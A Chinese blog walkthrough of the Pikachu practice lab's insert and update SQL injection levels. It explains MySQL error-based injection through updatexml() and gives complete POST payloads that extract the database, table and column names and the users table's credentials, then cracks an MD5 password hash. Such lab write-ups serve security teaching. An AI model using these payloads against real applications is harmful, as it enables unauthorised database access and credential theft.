Pikachu SQL注入之insert/update注入

一、insert----报错注入

报错注入(Error-based SQL Injection)是一种常见的网络攻击技术,它利用应用程序在处理用户输入时存在的漏洞,向数据库发送恶意的SQL语句,从而获取敏感信息或执行未经授权的操作。

报错注入的原理是通过构造恶意的输入,在应用程序的SQL查询中注入额外的SQL代码。当应用程序执行这个恶意的SQL语句时,可能会因为错误而产生异常或报错信息。攻击者可以利用这些错误信息来推断数据库结构、获取敏感数据或执行其他恶意行为。

报错注入的攻击步骤通常包括以下几个阶段:
1. 识别目标:攻击者首先要识别目标应用程序中存在的漏洞,可以通过手动测试或使用自动化工具来发现潜在的注入点。
2. 构造恶意输入:攻击者根据目标应用程序的漏洞,构造恶意的输入,以注入额外的SQL代码。这通常包括注入SQL语句中的字符串或特殊字符。
3. 触发报错:攻击者发送构造的恶意输入,触发应用程序执行恶意的SQL语句。如果注入的SQL语句存在错误,应用程序可能会返回报错信息。
4. 收集信息:攻击者分析报错信息,尝试推断数据库结构、获取敏感数据或执行其他恶意行为。

 这里介绍一下updatexml( )函数:

updateXML函数是一种在XML文档中修改或更新指定节点的方法。它在许多编程语言和XML处理库中都有实现。

updateXML函数通常接受三个参数:XML文档、XPath表达式和要更新的值。XML文档是要进行修改的原始XML数据。XPath表达式用于定位要更新的节点。它可以是简单的节点路径,也可以使用更复杂的条件和过滤器来选择节点。要更新的值是要设置给节点的新值。

当调用updateXML函数时,它会根据XPath表达式找到匹配的节点,然后将其值设置为指定的新值。这可以是一个简单的文本值,也可以是一个包含更复杂结构的XML片段。

需要注意的是,updateXML函数通常是在内存中修改XML文档的副本,而不是直接修改原始文档。因此,在使用updateXML函数后,需要将修改后的文档保存到磁盘或将其传递给其他处理程序。

总之,updateXML函数是一种用于修改XML文档中指定节点的方法,它通过XPath表达式定位节点,并将其值更新为指定的新值。

updateXML( )利用方式:

updatexml(xml_doument,XPath_string,new_value)

xml_document、XPath_string和new_value。xml_document是XML文档的内容,可以是一个XML类型的列或一个XML文档的字符串表示。


第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式。

 概念清楚后做题就简单了,首先判断是否存在注入点:抓注册的包放个看看,从抓包结果看是post型的,Ctrl+R 在burpsuite里面调试:

构造payload:我们输入的内容会在类似('xxxx')这种格式里,所以要尝试它的闭合方式,我们这里尝试闭合用   ‘   

username=1','111')#&password=666666&sex=&phonenum=&email=&add=&submit=submit

它说我们列数不对,重新构造的payload:

username=1','111','222','333','444','555')#&password=33333&sex=&phonenum=&email=&add=&submit=submit

注册成功,说明闭合确实是单引号。

构造payload:

username=1' or updatexml(1,version(),1) or'&password=666666&sex=&phonenum=&email=&add=&submit=submit

如何让全部的数据都校验失败呢? 就是使用concat在需要的数据前面加上一个XPATH校验失败的东东就可以了。--于小葵
0x7e用来校验,version()是我们想要的数据,concat在mysql中就是起到连接两个数据作用

首先看看0x7e这个东西,它是 ~ 的16进制用来校验,但也不用被0x7e固定化了,只要能做到校验那填什么都可以。

这里如果不用XPATH语法就会报错,这就是我们要利用的点,通过报错把一些敏感信息获取。

1、爆库名

这里就要用我们上面介绍的updateXML函数尝试报错注入,

构造payload:

里面是or或者and都可以

username=1' or updatexml(1,concat(0x7e,database()),0) or'&password=666666&sex=&phonenum=&email=&add=&submit=submit

2、爆表名

构造payload:

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

因为一行显示最多32个字符,前面我们用来校验 ~ 占了一个字符,所以只能从1到31:

后面x没显示完,肯定还有,所以继续构造payload:

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

从上一次的第31个字符开始往后推1,第32个字符后面往后再读取31个字符,一共是32个字符。

所以一共是爆出来了:httpinfo,member,message,users,xssblind这些表名。

3、爆列名

构造payload:

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

注意:POST请求在代码结尾一定与上面要空行,不然就是报错。

跟上面一样,没有全部显示出来,我们继续构造后半部分:

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

后面还有,继续

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

看到了里面有username和password。

四、爆数据

构造payload:

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

后面还有,通过修改1~31  32~31  64~31都可以依次爆出来,就是改substr的第2个参数。

最后拿去e10adc3949ba59abbe56e057f20f883e   =>  md5解密,密码就出来了,admin 123456 

二、update注入

非常值得注意的是,只有性别,手机,住址,邮箱全都有值的时候,才会执行修改用户信息的操作,否则该操作不执行,显然也是一个POST提交

步骤跟上面一样,无非这题是每个参数都必须有值。

构造payload:

爆库:

sex=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

爆表:

sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

爆列:sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

爆数据:sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

总的来说这关还是对于一些函数的使用,updateXML、concat、substr等,这些函数的用法可以参考这篇文章updatexml函数-报错注入

拿下!

  • 40
    点赞
  • 43
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

zTale

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值